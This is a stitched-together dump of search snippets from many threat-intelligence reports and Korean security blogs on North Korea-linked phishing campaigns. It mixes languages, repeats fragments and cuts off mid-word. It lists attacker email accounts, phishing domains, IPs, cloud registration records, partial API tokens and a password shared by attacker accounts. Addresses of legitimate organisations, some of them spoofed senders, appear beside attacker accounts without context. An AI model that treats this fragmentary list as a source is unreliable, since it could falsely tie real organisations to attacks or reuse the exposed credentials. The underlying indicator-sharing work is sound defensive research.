johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr…","…hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr whitewolf20000312@gmail.com…","…1000.V0J0QN7SJ2N7 V6IZVE[redacted] sdf sdf jamesdeeds385@zohomail.com 1000.2IGB56IS1FHQ 1V332R[redacted] asdf sdaf joyceluke505@zohomail.com 1000.W4V2XMB83C6V FC7DGZ[redacted] dfsd sdf marjoriemiller280@zohomail.com 1000.LIUBF67S89H0 IZEBHE[redacted] Bill Jackson…","…Trade Pro is a free Open Source project developed on pure C++ Qt and OpenSSL. julyighor@gmail.com (note: Ighor July is one of the developers of QT Bitcoin Trader) --End similarities-- The strings also reference the name “John Broox” as…","…1000.AJUEYDUIQQ5G CLFA68[redacted] tomasalfred37 tomasalfred37@zohomail.com 1000.INXKBHQ3698C K42YA2[redacted] kalimaxim279 kalimaxim279@zohomail.com 1000.FYRJ46E75TUY BWYV5J[redacted] Smith Bentley smithbentley0617@zohomail.com 1000.8QU6D2LJZ3RC GLZWF2[redacted] Mic…","…india.com' 서비스를 이용하고 있으며, 계정은 'kalvin255@india.com' 입니다.…","…(45.58.121.194) - error-naver.com (198.252.103.74) - down-error2.com (198.252.102.112) - kan-smiko.com (172.96.186.193) - kani_smiko@rambler.ru - birmingham1956@rambler.ru HWP 문서 파일 내부에는 악성 포스트 스크립트(Post Script) 코드가 포함되어 있습니다.…","…(1) karena1989@mail.com 아래의 [그림-7]은 2014년 2월 새롭게 발견된 변형 샘플에서 확인한 공격자 메일 계정( karena1989@mail.com )을 통해 해당 악성코드 제작자는 중국 국적의 한국어를 구사하는 사람으로 추정된다.…","…spear phishing emails were sent to a total of five individuals at a US government agency from the email addresses 0tdelkorei@mail.ru and kargarnova@mail.ru .…","…- N:\\Attack Programs\\Backdoor 2.0(x86-x64)\\sysninit - exe\\Release\\sysninit - exe.pdb - mail.inda.com - star.syj@india.com - kch.bear@india.com - un-org.yupage.com/test2/serverok.html - accouut-gooogie.ciki.me 2014년 당시 공격 코드에서 해커가 사용한 인도메일 계정의 암호가 발견된 바 있는데, 'jhj135'…","…[그림 7-4] 피클라우드 코드 화면 ESRC에서는 악성코드 내부의 토큰을 분석해 공격자가 2018년 12월 03일 한메일 'kcrc1214@hanmail.net' 주소를 통해 클라우드 서비스에 가입한 것을 확인했습니다.…","…Invitation to the Korea Cyber Security Conference The analysis found that on August 6, 2026, the threat actor used the account \" kcscon@proton.me \" to send a speaker invitation email to a Ukrainian expert in diplomacy and security.…","…in \"first.ini\" with String Obfuscation In particular, the commit metadata for \"first.ini\" confirms that the Kakao Mail account \" ken0723@kakao.com \" was used.…","…• teriparl25@gmail.com • seanchung.hanvoice@hotmail.com • pkurui9999@gmail.com • kennedypamla@gmail.com • ds1kdie@aol.com • ssdkfdlsfd@gmail.com • haris2022100@outlook.com •…","…The sender was 'kgf2016@yonsei.ac.kr' which is the contact email of the Korea Global Forum, a separate conference. When we analyzed the email headers, we determined that the…","…jamestony88@proton.me jamjack2026@proton.me jsykukbang18@kakao.com kcscon@proton.me ken0723@kakao.com killer05121@outlook.com leomsoite@gmail.com montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com…","…(0) 2024.01.01 모바일 부고 알림 부모님 별세를 악용한 스미싱 악성코드-삼가 부고장.apk(2023.12.12) (0) 2023.12.29 한화건설 캐나다 온타리오주 프로젝트 견적 요청 사칭 피싱 메일-kim.park_44@xkdgruop.com(2023.12.11) (0) 2023.12.28 중국 2023년 개인소득세 신고에 관한 공지 사칭 피싱 메일(2023.12.21) (0) 2023.12.26 구글 크롬 구글 웹 스토어에서 사용자 150만명의 가짜…","…(0) 2024.01.01 모바일 부고 알림 부모님 별세를 악용한 스미싱 악성코드-삼가 부고장.apk(2023.12.12) (0) 2023.12.29 한화건설 캐나다 온타리오주 프로젝트 견적 요청 사칭 피싱 메일-kim.park_44@xkdgruop.com(2023.12.11) (0) 2023.12.28 공유하기…","…On Google Drive this pdf was uploaded by kimduyong2020@gmail.com, a Google User with a profile photo of the South-North Korea Exchanges and Cooperation Support Association. Image: South-North Korea…","…[+] Emails # Dropbox accounts associated email addresses peterstewart0326@gmail.com kimkl0222@hotmail.com laris081007@hotmail.com [+] PDB path D:\\Works\\PC_2022\\ACKS_2012\\fengine\\Release\\fengine.pdb About us Zscaler ThreatLabz is a…","…10/26/2021 8:51 Peter Stewart peterstewart0326@gmail.com navercomb.tech 12/2/2021 14:53 Kil Nyeon Kim kimkl0222@hotmail.com navreteam.tech 11/15/2021 9:26 William Ali williama824@hotmail.com navvsecurity.tech 10/6/2021 0:46 junseog son specialcnc05@gmail.com We…","…a member of the North Korea Research Institute (Institute for North Korean Studies – INKS ), was sent from the email address kirnchi122@hanmail.net on December 13, 2023, targeting an expert in North Korean affairs.…","…공유하기 게시글 관리 꿈을꾸는 파랑새 ' 소프트웨어 팁 > 보안 및 분석 ' 카테고리의 다른 글 TEMU(테무)배송 정보로 위장한 피싱 메일-배송 부서 kisU1SvZbo@mail9602-udlv.com(2024.4.8) (0) 2024.04.18 Microsoft Intel 프로세서(Spectre)에 대한 새로운 레지스트리 완화 기능 발표 (0) 2024.04.17 Intel CPU(인텔 CPU)Linux…","…(0) 2024.04.20 Tuta 보안 메일 피싱 메일-Urgent Authentication error(2024.4.11) (0) 2024.04.19 TEMU(테무)배송 정보로 위장한 피싱 메일-배송 부서 kisU1SvZbo@mail9602-udlv.com(2024.4.8) (0) 2024.04.18 Microsoft Intel 프로세서(Spectre)에 대한 새로운 레지스트리 완화 기능 발표 (0) 2024.04.17…","…T-81vr-m jcg0123 pkitc@silibank.net.kp[email protected] pyitc pkitc@star-co.net.kp[email protected] hyon kitc@star-co.net.kp[email protected] imcholung kitc VPN Usage Further analysis of the logs revealed that several of the logins were made with IPs…","…holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com tttsssuuu@outlook.kr whitewolf20000312@gmail.com…","…악성코드 에 포함된 HEX CyberChef 로 디코딩 이메일 발신자 보내는 사람:중앙선거관리위원회 공보과 (kopo1scom98@daum.net) 아무튼 아니 중앙선거관리위원회에서 다음 메일을 사용할 일은 없으니 일단 이거 피싱+악성코드 유포를 하기 위한 목적인 것을 확인할 수가 있습니다. 이메일에는 BAT 스크립트 형태의 OLE 개체가 포함된 HWP Doc이 포함되어 있으며 해당…","…subject: 20th_Presidential Election_Election holders_Votecount Observer_Open_Recruitment (Final) Sender: 중앙선거관리위원회 공보과 ( kopo1scom98@daum.net ) Translated sender: Public Information Division, Central Election Commission Diamond model Breakdown: Adversary: APT37 Persona:…","…\"registered\": \"Wed, 10 Apr 2019 06:40:53 +0000\", \"email\": \"kpsa-press@daum.net\", 공격자는 2019년 04월 10일 이미 해당 클라우드를 미리 등록한 것을 알 수 있고, 가입시에 'kpsa-press@daum.net' 한국의 카카오 한메일을 사용한 것을 알 수 있습니다.…","…구글 드라이브의 소유자는 '한국정치학회'로 설정되어 있으며, 지메일 계정은 'kpsapress@gmail.com'으로 등록되어 있습니다.…","…당시 발견된 'kpsapress@gmail.com' 이메일 주소는 카카오(Kakao) 한메일이 아닌 구글(Google) 지메일이 사용된 점이 다릅니다.…","…Tokens Mediafire Account #1 Username: ksy182824@gmail.com Application ID: 81342 Twitter Account #1 Consumer key: sOPcUKjJteYrg8klXC4XUlk9l Token:…","…해당 이메일 보낸 사람의 이메일 주소는 landf5503@gmail.com 이며 남부 유럽 외무부로 보낸 것입니다.…","…Southern Europe Embassy 2025-05-26 (multiple) Korean diplomatic journal interview request diplomacy Chang Hyo Chong Eric landf5503@gmail.com Southern Europe Foreign Ministry 2025-06-10 UNC Ambassador's Roundtable invitation UNC0625 Ro Seyeon…","…- direct-first.coxslot.com/test1/ - direct-first.coxslot.com/test2/ - rajue.migel@india.com - laoshi.kang@gmail.com [그림 9] C2 서버의 디렉토리 리스팅 화면 일부 인도 메일 서버와 구글 지메일에 중국식 이름의 아이디를 사용했습니다.…","…AND email != “laris081000@outlook.com” Press enter or click to view image in full size The name value “Laris Polsteen” found from laris081000@outlook.com finds another email Laris08100 3 @ hotmail.com which also had Naver phishing domains in the WHOIS data. The name value “JUNGKOOK PAENG”…","…This leaves us with a 19 emails that we can attribute to be associated to UNC3782 campaigns. Laris081003@hotmail.com gameproducters@outlook.com hostingerk1@hotmail.com hostingerk2@hotmail.com kimkl0222@hotmail.com laris081000@outlook.com modric4267@protonm…","…[+] Emails # Dropbox accounts associated email addresses peterstewart0326@gmail.com kimkl0222@hotmail.com laris081007@hotmail.com [+] PDB path D:\\Works\\PC_2022\\ACKS_2012\\fengine\\Release\\fengine.pdb About us Zscaler ThreatLabz is a global threat research team…","…firm impersonation attack case by the state-sponsored threat group bitcoincasino.name Unconfirmed kraken.soccer Unconfirmed lena.weiss83@outlook.com anyonecdn.com Watering hole attack case by the state-sponsored threat group / Gunra ransomware attack case myonlinestatus.net…","…jamjack2026@proton.me jsykukbang18@kakao.com kcscon@proton.me ken0723@kakao.com killer05121@outlook.com leomsoite@gmail.com montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com…","…\"en\", \"email\": \"reddy.kappeta@yandex.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"US\", \"locale\": \"en\", \"email\": \"leon24609@gmail.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"GB\", \"locale\": \"ko\", \"email\": \"leon91729@zoho.com\" , \"email_verified\":…","…\"en\", \"email\": \"leon24609@gmail.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"GB\", \"locale\": \"ko\", \"email\": \"leon91729@zoho.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"JP\", \"locale\": \"ko\", [Table 3-5] Dropbox Account Information…","…특히 2025년 하반기에는 leon91729@zoho.com 계정이 추가로 확인되었습니다.…","…\"en\", \"email\": \"leon24609@gmail.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"GB\", \"locale\": \"ko\", \"email\": \"leon91729@zoho.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"JP\", \"locale\": \"ko\", [표 3-5] Dropbox 가입자 이력 정보 [그림 3-13]…","…In particular, the account \" leon91729@zoho.com \" was additionally identified in the second half of 2025.…","…현재 해킹 목적으로 악용 중인 상태이므로 접근을 제한하고 차단해야합니다. ESRC는 이번 사건 조사 과정에서 공격자가 'sslnaver.online', 'cdndaum.online' 도메인 활용 정황을 포착했고, 해당 도메인 등록자 정보 중에 'lion.simba21@protonmail.com' 주소 사용 이력을 파악했습니다. 또, 공격자는 NFT보상 안내로 위장한 수법뿐만 아니라, 대북 종사자 상대 포털 고객센터 사칭 공격에 'private-banking-group.com' 주소가 복수로 동일하게 사용된 점도 확인하였습니다.…","…현재까지 확인된 웹 메일 계정은 아래와 같다. – lucky000@mail.bg – lovelove333@mail.bg – helpyou@mail.bg – monkeyone@mail.bg – AnnaLove1989@ma il.com – skagh1961@mail.com – karena1989@mail.com –…","…email accounts used in this campaign: beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg 1 2 3 4 5 6 7 8 beautifl @ mail .…","…Kimsuky-related email accounts associated with this campaign include luckgpu@gmail.com and abdulsamee7561@gmail.com. The malicious applications were likely distributed via spearphishing or smishing. Source : A cyber…","…현재까지 확인된 웹 메일 계정은 아래와 같다. – lucky000@mail.bg – lovelove333@mail.bg – helpyou@mail.bg – monkeyone@mail.bg – AnnaLove1989@ma il.com – skagh1961@mail.com –…","…http://www.ryongnamsan.edu.kp Both pages expose email addresses: The addresses ryongnamsan@star-co.net.kp and mab@silibank.net.kp point to the domains star-co.net.kp and silibank.net.kp . If these addresses are actively used, we should also find corresponding mail…","…한반도 정세전망 등 북한 자료와 관련된 내용으로 수신자를 현혹하는 유형이 꾸준히 보고되고 있습니다. 해킹 공격은 이메일 수신자들이 의심하지 않도록 발신지 주소를 실제 \"통일부 <nkanalysis@unikorea.go.kr>, 통일연구원<mail-admin@kinu.or.kr>, 국가안보전략연구원 <insspost@inss.re.kr>\" 등의 공식 주소처럼 정교하게 조작하는 수법이 동원되고 있어, 육안으로 발신지만 보고 신뢰해 첨부파일로 무심코 접근할 경우 예기치 못한 해킹 피해로 이어질 수 있습니다. 이번에 발견된…","…SHA-256:12073a6bae57349155e4c91e870a9b23568d63bbd70ba43a4a0a8cb9affabb08 일단 제목을 보면 세무통지서 <mailsender2024@mail.ru> [국세청] 4월 신고 납부기한 변동통지서가 도착했어요.…","…1000.2IGB56IS1FHQ 1V332R[redacted] asdf sdaf joyceluke505@zohomail.com 1000.W4V2XMB83C6V FC7DGZ[redacted] dfsd sdf marjoriemiller280@zohomail.com 1000.LIUBF67S89H0 IZEBHE[redacted] Bill Jackson teresadaniels200@zohomail.com 1000.8BLOFSFU4WOF Y9HB4A[redacted] Zoe Jack…","…• ssdkfdlsfd@gmail.com • haris2022100@outlook.com • bing2020@outlook.kr • marksigal1001@gmail.com • donghyunkim1010@gmail.com • hong_xiao@naver.com • sm.carls0000@gmail.co m •…","…, apt , Dragon Messenger , ESRC , Geumseong121 , godlemessy@gamil.com , kpsa-press@daum.net , kpsapress@gmail.com , martburgle@gmail.com , movzhanu@gmail.com , Operation Printing Paper 3 , Operation Spy Cloud , tbaby2949@gmail.com , Threat Inside , 금성121 , 스피어피싱 , 오퍼레이션 스파이…","…Indicator Description nknews.pro Phishing email sender domain chad.ocarroll@nknews.pro Phishing email sender address membership@nknews.pro Phishing email sender address https[://]www.nknews.pro Website impersonating NK News https[://]www.nknews.pro/config.php…","…1000.LIUBF67S89H0 IZEBHE[redacted] Bill Jackson teresadaniels200@zohomail.com 1000.8BLOFSFU4WOF Y9HB4A[redacted] Zoe Jack michaelgiesen62@zohomail.com Capabilities Android BirdCall features an update mechanism: a newer version can be loaded from an update file, which is expected…","…BWYV5J[redacted] Smith Bentley smithbentley0617@zohomail.com 1000.8QU6D2LJZ3RC GLZWF2[redacted] Mic haelLarrow19 michaellarrow19@zohomail.com 1000.NT1QEE7V73IH NZP5YT[redacted] dsf sdf amandakurth94@zohomail.com 1000.SKXUYYKYL06F Q2NW82[redacted] dsf sdf…","…- greatvictoria86 - greatvictoria87 - hatmainman@hotmail.com - hatwoman40@hotmail.com - jinmeng288@gmail.com - minliu231@gmail.com - Okokei@india.com - pghlsn333@gmail.com - prettysophia00 - prettysophia47 - prettysophia48 - prettysophia49 -…","…The snapshot also reveals that the developer account was named “Android Utility Developer” and the developer contact email address was mlyqwl@gmail.com.…","…and here I will highlight the interesting findings here below. domain created name email navsvcorp.tech 10/21/2021 12:40 Tony Smith modric4267@protonmail.com nawerteam.tech 11/25/2021 2:02 Tony Smith hostingerk1@hotmail.com nresxn.xyz 12/20/2021 3:44 Tony Smith…","…현재까지 확인된 웹 메일 계정은 아래와 같다. – lucky000@mail.bg – lovelove333@mail.bg – helpyou@mail.bg – monkeyone@mail.bg – AnnaLove1989@ma il.com – skagh1961@mail.com – karena1989@mail.com – jhonin333@india.com – qwpejfe234@zoho.com –…","…used in this campaign: beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg 1 2 3 4 5 6 7 8 beautifl @ mail .…","…choemiyang@hotmail.com dustinharrise91@outlook.com jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me taini7700@outlook.com urusa4400@proton.m…","…jsykukbang18@kakao.com kcscon@proton.me ken0723@kakao.com killer05121@outlook.com leomsoite@gmail.com montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com…","…- motegi21@yahoo.com - evgeny_varganov@mail.ru - evgeny_mono@protonmail.com - p1otnikovan@mail.ru [그림 5] 탈륨, 코니 조직이 사용하는 위협 인프라 연관 흐름도…","…Laris08100 3 @ hotmail.com which also had Naver phishing domains in the WHOIS data. The name value “JUNGKOOK PAENG” finds another email mouraesse@gmail.com which registrered domains like navermailcorp.com.…","…, apt , Dragon Messenger , ESRC , Geumseong121 , godlemessy@gamil.com , kpsa-press@daum.net , kpsapress@gmail.com , martburgle@gmail.com , movzhanu@gmail.com , Operation Printing Paper 3 , Operation Spy Cloud , tbaby2949@gmail.com , Threat Inside , 금성121 , 스피어피싱 , 오퍼레이션 스파이 클라우드 , 위장 탈북 증거.doc…","…kcscon@proton.me ken0723@kakao.com killer05121@outlook.com leomsoite@gmail.com montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com…","…For example we found emails specialcnc05 and specialcnc07, but where is 6? mynfthostinger1@hotmail.com naverhostinger1@hotmail.com naverhostinger2@hotmail.com naverhostinger3@hotmail.com specialcnc07@gmail.com tony42671@hotmail.com Lets hunt…","…'마스터'로 불리는 메일 주소 중 일부는 아래와 같다. – tgb110117@hotmail.com – nuttumcg@hotmail.com – qet11@hotmail.com – schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com – rsh1213@hotmail.com – suhopack@aol.com – unichjid@daum.net – … 위에서 언급된 메일…","…using security-related keywords such as protect, privacy, and security. acc.signnin.send@gmail.com countine.protector.mail@gmail.com n0.reaply.moster@gmail.com no.raply.letservice@gmail.com no.repiy.acc.notice@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect…","…nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoop@gmail.com aaa@naver.com no-reply@sisileae.com The configuration for SendMail we…","…Phishing Accounts nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo…","…지정된 명령을 통해 추가 공격이 가능하고, 이를 통해 원격제어와 같은 추가 피해로 이어질 수 있습니다. [그림 11] 'pCloud' API 서비스로 통신하는 명령어 코드 ○ 공격자는 'pCloud' 서버를 가입할 때 구글 지메일(nanhaii815@gmail.com) 계정으로 2023년 6월 15일 등록한 상태이며, 지난 해 다른 위협 사례에서 보고된 바 있습니다. [그림 12] 'pCloud' 등록자 정보 화면 ○ 누구나 가입이 가능한 클라우드 웹 서비스가 위협 인프라로 지속 사용되고 있다는 점에…","…mail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoop@gmail.com aaa@naver.com no-reply@sisileae.com The configuration for SendMail we obtained was preloaded…","…Phishing Accounts nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoop@gmail.com aaa@naver.com no-reply@sisileae.com…","…Phishing Accounts nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoo…","…All of the email accounts we discovered had the same password “1qaz2wsx#EDC$RFV” and the same recovery email: “nasndaoop@gmail.com”.…","…“invoice_nerolpy@kakao.com” “naver-no-reply@kakao.com” “www.invoice@kakao.com” “www.navercorp@kakao.com” “www.naver.reply@kakao.com” “invoice_hometax@kakao.com”…","…디즈니 플러스의 비밀번호 공유 단속은 6월 부터 시작 (0) 2024.04.06 마이크로소프트 윈도우 10 ESU 가격 공개 (0) 2024.04.04 네이버 피싱 메일 회원정보 고객센터 naver-privacy@kakao.com(2024.3.18) (0) 2024.04.04 Microsoft Edge(마이크로소프트 엣지) Chromium 기반 브라우저 취약점 수정 (0) 2024.04.01 윈도우 10 KB5035941 업데이트 및 잠금…","…The Google Drive owner is naver.accounnt.noreply@gmail.com, and all Google Drive documents used in this campaign are owned by this account. The password.txt download URL and the decoy document…","…“www.invoice@kakao.com” “www.navercorp@kakao.com” “www.naver.reply@kakao.com” “invoice_hometax@kakao.com” “navercorp-rep1y@daum.net” “invoice.norep1y@daum.net” “nonghyupcorp@daum.net” “f****07@knd.biglobe.ne.jp” 표 1.…","…For example we found emails specialcnc05 and specialcnc07, but where is 6? mynfthostinger1@hotmail.com naverhostinger1@hotmail.com naverhostinger2@hotmail.com naverhostinger3@hotmail.com specialcnc07@gmail.com tony42671@hotmail.com Lets hunt for even more! Lazy email…","…For example we found emails specialcnc05 and specialcnc07, but where is 6? mynfthostinger1@hotmail.com naverhostinger1@hotmail.com naverhostinger2@hotmail.com naverhostinger3@hotmail.com specialcnc07@gmail.com tony42671@hotmail.com Lets hunt for even more! Lazy email registration? We did a…","…emails specialcnc05 and specialcnc07, but where is 6? mynfthostinger1@hotmail.com naverhostinger1@hotmail.com naverhostinger2@hotmail.com naverhostinger3@hotmail.com specialcnc07@gmail.com tony42671@hotmail.com Lets hunt for even more! Lazy email registration? We did a check across all number email…","…[그림 10] pCloud 토큰값 및 공격자 계정정보 (navermail_noreply@mail.ru) 국내의 대북 관련 단체 또는 활동가를 타깃으로 한 북한 해킹조직의 스피어피싱 공격이 날로 고도화 되고 그 대상도 타깃화 되고 있습니다.…","…ha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com tiger.man.1999@mail.ru navermail_noreply@mail.ru 이 글 공유하기 Facebook LinkedIn Email…","…Phishing Accounts nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoop@gmail.com aaa@…","…> covid-support@mom.gov.sg[email protected] > covid-support@mof.go.jp[email protected] > ncov2019@gov.in[email protected] > fppr@korea.kr[email protected] Campaign Launch Dates : According to the hackers plans as observed by CYFIRMA…","…plan: > covid19notice@usda.gov > ccff-applications@bankofengland.co.uk > covid-support@mom.gov.sg > covid-support@mof.go.jp > ncov2019@gov.in > fppr@korea.kr Campaign Launch Dates : According to the hackers plans as observed by CYFIRMA Research, the phishing campaigns are…","…ken0723@kakao.com killer05121@outlook.com leomsoite@gmail.com montry111@proton.me murayamasi26@outlook.com nemotom@outlook.kr omski00@outlook.com payuser2026@outlook.com pooh04211@outlook.com skmotern2003@outlook.com srahnn21@gmail.com…","…'nextstep.php@gmail.com' 지메일을 사용하는 공격자는 'Ttonggui Wang' 또는 'Tomas Jerry' 이름을 사용하지만, 등록국가명을 대한민국으로 설정 했다가 중국으로 설정하는 등 평소 허위정보로 등록하는 것을 관찰할 수 있습니다.…","…- 74e3d84492845067a0da6c fa00c064eb b. 공격자 이메일 주소 - claudiaback0910@yandex.com - pardonsingh@yandex.com - njrntop@gmail.com c. 명령제어 (C2) 호스트 서버 - dost.b4a.app - docx1.b4a.app - filestorage.b4a.app Threat Intelligence Report…","…다수 포착된 바 있으며, 주로 통일부의 북한동향이나 통일연구원의 한반도 정세전망 등 북한 자료와 관련된 내용으로 수신자를 현혹하는 유형이 꾸준히 보고되고 있습니다. 해킹 공격은 이메일 수신자들이 의심하지 않도록 발신지 주소를 실제 \"통일부 <nkanalysis@unikorea.go.kr>, 통일연구원<mail-admin@kinu.or.kr>, 국가안보전략연구원 <insspost@inss.re.kr>\" 등의 공식 주소처럼 정교하게 조작하는 수법이 동원되고 있어, 육안으로 발신지만 보고 신뢰해 첨부파일로 무심코 접근할 경우 예기치 못한…","…Phishing Accounts nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoop@gmail.com aaa@naver.com no-reply…","…um.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoop@gmail.com aaa@naver.com no-reply@sisileae.com The configuration for SendMail we obtained was preloaded for multiple Naver…","…좋지 않을가요. 궁금하시면 nnppgroup@aol.com로 연락주세요 $$$ 関連トピック１．標的型攻撃への対応訓練に関する報道 セヌリ党 議員が公開した資料より、過去実施した訓練結果が報道されている。 *50 実施元 実施時期 対象者数 開封 数( 開封 率)…","…마치 국세청을 사칭해 탈세제보 신고에 따른 소명자료 제출 요청 안내처럼 위장한 사례의 경우 발신지가 '국세청 <no-reply.trustmaster@hometax.go.kr>' 주소로 실제 홈택스 도메인과 같다는 것을 알 수 있습니다. [그림 3] 실제 공격에 사용된 이메일 화면 (일부 블러 처리) ○ 위협 행위자는 이메일 발송 서버를 구축해, 발신지 도메인을 진짜처럼 위장할 수 있습니다.…","…HOSTU2-ARIN OrgTechName: HostUS Tech OrgTechPhone: +1-302-300-1737 OrgTechEmail: noc@hostus.us OrgTechRef: https://rdap.arin.net/registry/entity/HOSTU2-ARIN Relationships 216.189.150.185 Connected_From…","…Swobodna 1 address: 50-088 Wroclaw address: Poland e-mail: noc@ovh.net admin-c: OTC2-RIPE mnt-ref: OVH-MNT mnt-by: OVH-MNT created: 2005-09-02T12:40:01Z last-modified: 2019-08-08T07:47:57Z source:…","…OrgNOCHandle: NOC32406-ARIN OrgNOCName: NOC OrgNOCPhone: +1-415-230-0680 OrgNOCEmail: noc@publicdomainregistry.com OrgNOCRef: https://rdap.arin.net/registry/entity/NOC32406-ARIN OrgTechHandle: TECH953-ARIN OrgTechName: Tech OrgTechPhone:…","…Phishing Accounts nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakop…","…“www.naver.reply@kakao.com” “invoice_hometax@kakao.com” “navercorp-rep1y@daum.net” “invoice.norep1y@daum.net” “nonghyupcorp@daum.net” “f****07@knd.biglobe.ne.jp” 표 1.…","…such as protect, privacy, and security. acc.signnin.send@gmail.com countine.protector.mail@gmail.com n0.reaply.moster@gmail.com no.raply.letservice@gmail.com no.repiy.acc.notice@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.passwo…","…end@gmail.com countine.protector.mail@gmail.com n0.reaply.moster@gmail.com no.raply.letservice@gmail.com no.repiy.acc.notice@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.password.teams@gmail.com protect.privacy.accounnt@gmail.com prote…","…security. acc.signnin.send@gmail.com countine.protector.mail@gmail.com n0.reaply.moster@gmail.com no.raply.letservice@gmail.com no.repiy.acc.notice@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.password.teams@gmail.com protect.pri…","…noreply_microprotect@naver.com office365_service@naver.com 공격자는 메일 본문에 하이퍼 링크를 삽입하여 피해자를 피싱 페이지로 유도한다.…","…noreply_system001@kaka.net 이라고 돼 있는데 정상적인 카카오고객센터는 noreply@kakaocorp.com 입니다.…","…tor.mail@gmail.com n0.reaply.moster@gmail.com no.raply.letservice@gmail.com no.repiy.acc.notice@gmail.com noreaply.securiity@gmail.com noreply.centre.team@gmail.com privacy.protect.team@gmail.com protect.password.teams@gmail.com protect.privacy.accounnt@gmail.com protector.privacy.master@gmail.com…","…주소처럼 보이게 하여 속이기 위한 미끼 파라미터 실제로는 사용자가 피싱 사이트에 로그인을 진행하며 계정정보를 탈취하고 진짜 네이버로 리디렉션하는 방식을 취하고 있음 국세청 세무통지서 피싱 메일 헤더 이메일 헤더 분석 보낸 사람:notice-mail@inbox.ru 받는 사람:????@naver.com 반환 주소 (Return-Path):notice-mail@inbox.ru 발신 IP:95.163.59.116 발신 서버:send277.i.mail.ru SPF/DKIM/DMARC:모두 통과 보낸 시각:2025년…","…Phishing Accounts nahoiu95@gmail.com nolpoaw@daum.net nasaioy0@gmail.com nboipw@daum.net nkodfgl@gmail.com naokilw@daum.net nsmnop99@gmail.com nabsoiu@daum.net nanmskeo@gmail.com nmakope@daum.net nasndaoop@gmail.com aaa@naver.com no-reply@sisileae.com The configuration…","…\"email\": \"nusli.vakil@yandex.com\" , \"email_verified\": true, \"disabled\": false, \"country\": \"US\", \"locale\": \"en\", \"email\": \"reddy.kappeta@yandex.com\" ,…","…위 메일계정 외에 '마스터'로 불리는 메일 주소 중 일부는 아래와 같다. – tgb110117@hotmail.com – nuttumcg@hotmail.com – qet11@hotmail.com – schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com –…","…- greatvictoria87 - hatmainman@hotmail.com - hatwoman40@hotmail.com - jinmeng288@gmail.com - minliu231@gmail.com - Okokei@india.com - pghlsn333@gmail.com - prettysophia00 - prettysophia47 - prettysophia48 - prettysophia49 - prettysophia50 -…","…Figure 11 - Domains registered with email address dragon1988@india.com Figure 12 - Domains registered with email address okonoki_masao@yahoo.co.jp The domain “Dauum.net” appears to be mimicking the South Korean web portal, Daum, which is an email provider among other 